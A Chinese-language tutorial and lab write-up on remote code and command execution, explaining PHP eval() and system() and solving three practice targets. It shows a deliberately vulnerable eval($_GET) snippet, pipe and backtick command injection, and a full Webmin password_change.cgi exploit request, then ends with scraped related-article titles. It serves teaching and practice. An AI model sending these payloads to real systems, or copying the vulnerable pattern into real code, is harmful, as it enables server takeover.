什么是RCE?

指的是远程命令/代码执行(remote command/code execute)

在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。

容易产生此漏洞的地方

查看上面思维导图 “产生

相关函数

首先了解一个函数:eval()函数
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
即:eval(phpcode)

<?php
$code=$_GET['x'];
eval($code);//http://127.0.0.1:8080/test.php?x=phpinfo();
//$code=phpinfo();
//eval(phpinfo(););
?>

java、python等语言都是同理。

再来了解一个函数:system()函数
执行外部程序并显示输出资料。
system语法: string system(string command, int [return_var]);
system返回值: 字符串
System()函数的主要功能是在系统权限允许的情况是执行系统命令,windows系统和Linux系统都可以执行,Windows系统下可执行可执行文件(.exe、.bat等),也可执行cmd命令,Linux下用途更广,因为Linux系统就是基于命令行的,如基本的ls、cp、rm等。

    <?phpsystem(‘ipconfig’,$callback);echo $callback;?>

漏洞形成条件

1、有可控变量
2、有漏洞函数

漏洞复现

一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,如图

这是“墨者”里的一个命令执行漏洞靶场
通过输入IP可以ping出连接情况。于是这里就能够做RCE漏洞测试了。

测试中发现,该输入框只允许输入IP值。

知识点:“|”(管道符)这个符号,可以通过此符号同时执行多条命令。

由于这里前端加上了IP输入验证,所以我们可以通过修改数据包内容,在ip值后面加上“|”符号执行后面的“pwd”命令。

key这个文件中就是这个靶场通关密钥。

复现第二个靶场——PHP代码分析溯源

关卡内容如图

通过在线PHP代码运行可得出,eval函数中的代码执行的意思为

上面代码的意思应该为

由此可以得出在URL中加入:?a=ls 从而得出文件列表
以及?a=tac key=(文件名).PHP 得出PHP文件内容

知识点:虽然函数用到eval(),但是在Linux中反引号" ` "包起来的内容会被系统命令执行。所以上面a参数后跟的是系统命令。
反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。尽管可以通过输入字符或者字符串来创建变量值,也可以获取来自于其他Linux命令的值。为把Linux命令的结果赋予变量,实现需要执行这个命令。如果在命令行上把Linux命令放在反引号中,这个命令会首先被执行,其结果会成为命令行的一个参数。在赋值时,通过把命令放在反引号中,以便于首先执行,命令的执行结果会被赋予一个变量。反引号可以被视为由要执行命令组成的表达式,其结果会被赋予变量。组成命令的字符本身不会被赋予。在下面的范例中,命令ls*.c被执行,其结果然后被赋予变量listc。ls*.c会生成具有.c扩展名的所有文件列表。这个文件列表随后被赋予变量listc。

    $ listc=`ls *.c` $ echo $listc main.c prog.c lib.c

第三个靶场尝试黑盒测试

页面如图

通过百度得知:
Webmin是功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。

不管它是牛是马,网上寻找相关漏洞
https://www.cnblogs.com/whoami101/p/11465877.html

通过抓包修改其数据包如下

POST /password_change.cgi HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: http://127.0.0.1:10000/password_change.cgi/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
cache-control: no-cacheuser=rootxx&pam=&expired=2&old=id&new1=test2&new2=test2

得到结果

将数据包中“old=id”改为“old=ls”,得到当前目录中文件

复现RCE成功

WEB漏洞—RCE 代码及命令执行漏洞相关推荐

  1. 30.WEB漏洞-RCE代码及命令执行漏洞

    30:WEB漏洞-RCE代码及命令执行漏洞 参考文章:https://www.cnblogs.com/zhengna/p/15775737.html 本文为博主学习复现笔记 文章目录 30:WEB漏洞 ...

  2. 第30天-WEB 漏洞-RCE 代码及命令执行漏洞全解

    在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用代码或命令执行函数去处理.比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞.同样 ...

  3. RCE代码及命令执行漏洞简解

    在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用 代码或命令执行函数去处理.比如当应用在调用一些能将字符串转化成代 码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏 洞 ...

  4. REC代码及命令执行漏洞

    RCE代码及命令执行漏洞 1.RCE介绍 全称:remote command/code execute 分为远程命令执行和远程代码执行 1.命令执行漏洞: 直接调用操作系统命令 代码执行漏洞: 靠执行 ...

  5. Spring 框架更新了一条可能造成 RCE(远程命令执行漏洞)

    今天 Spring 框架更新了一条可能造成 RCE(远程命令执行漏洞)的问题代码,如图: 随即在国内安全圈炸开了锅,大家纷纷转发一张图: 上次因为核弹级漏洞 log4j2 的 POC 公开,大批企业为 ...

  6. 2021/12/15 RCE代码和命令执行

    小迪 https://www.bilibili.com/video/BV1JZ4y1c7ro?p=29 https://www.cnblogs.com/ermei/p/6689005.html htt ...

  7. kingdee漏洞金蝶EAS存在命令执行漏洞

    金蝶EAS基于云计算技术,为大型集团企业提供一体化.智能化的业务解决方案. 一.kingdee漏洞分析 公开日期:2021-06-12 漏洞编号:CNVD-2021-34565 危害等级:高危 漏洞描 ...

  8. pikachu-远程代码、命令执行漏洞(RCE)

    一.RCE概述 1.1 什么是RCE? RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统. 1.2 远程系统命令执行 一般出现这种漏洞,是因为应用系统从设计上需要 ...

  9. Hack The Box - Meta 利用Exiftool远程代码执行漏洞获取webshell,ImageMagrick命令执行漏洞横向提权,更改环境配置SUDO纵向提权

    Hack The Box - Meta Hack The Box开始使用流程看这篇 文章目录 Hack The Box - Meta 整体思路 1.Nmap扫描 2.Exiftool远程代码执行漏洞( ...

最新文章

  1. sublime配置全攻略
  2. 3DSlicer6:编译、调试、规范化的开发
  3. 数据结构与算法之美01-开篇词
  4. Blazor 事件处理开发指南
  5. mysql 8.0 java连接报错:Unknown system variable 'query_cache_size'
  6. 全网最全Python操作Excel教程,建议收藏!
  7. spring配置文件最全约束
  8. linux 终端 画圆,Linux Bash Shell快速入门
  9. Gentle.NET Attribute
  10. mongodb配置文件启动linux,Linux运维知识之Mongodb启动方法:设定参数启动;从设置文件启动...
  11. ajax send()的作用_AJAX(Asynchronous JavaScript And XML)
  12. 桌面图标不见了怎么办?
  13. 怎样设计访谈提纲_如何设计调查问卷与访谈提纲要点分析.ppt
  14. MotionEvent和TouchSlop
  15. android 系统时间同步
  16. 云原生系列三:K8s应用安全加固技术
  17. 关闭iOS上京东app不停询问“京东想从MF839粘贴”,您允许这样做吗? - 允许iphone应用访问剪切板
  18. 何帅:“在线”思考,王坚的云计算心理学
  19. ARM NVIC GIC
  20. MongoDB –更新为大写

热门文章

  1. 新概念英语第二册Lesson5:No wrong numbers
  2. 经济学原理知识点总结
  3. 2021EI国际学术会议教给论文投稿小白们去投哪些靠谱的国际学术会议
  4. COMX51 基于 STM32 实现 PROFINET 从站开发
  5. 极客大学产品经理训练营:数据分析与商业分析,商业分析到业务分析 第18课总结
  6. HTML 元素内容超出尺寸范围怎么办?
  7. Android 通过蒲公英pgyer的接口 Service 实现带进度下载App 通知栏显示 在线更新 自动更新Demo
  8. 易语言获取cookie
  9. Microsoft Office 2016安装教程
  10. 2022年计算机二级考试MySQL数据库程序设计冲刺题及答案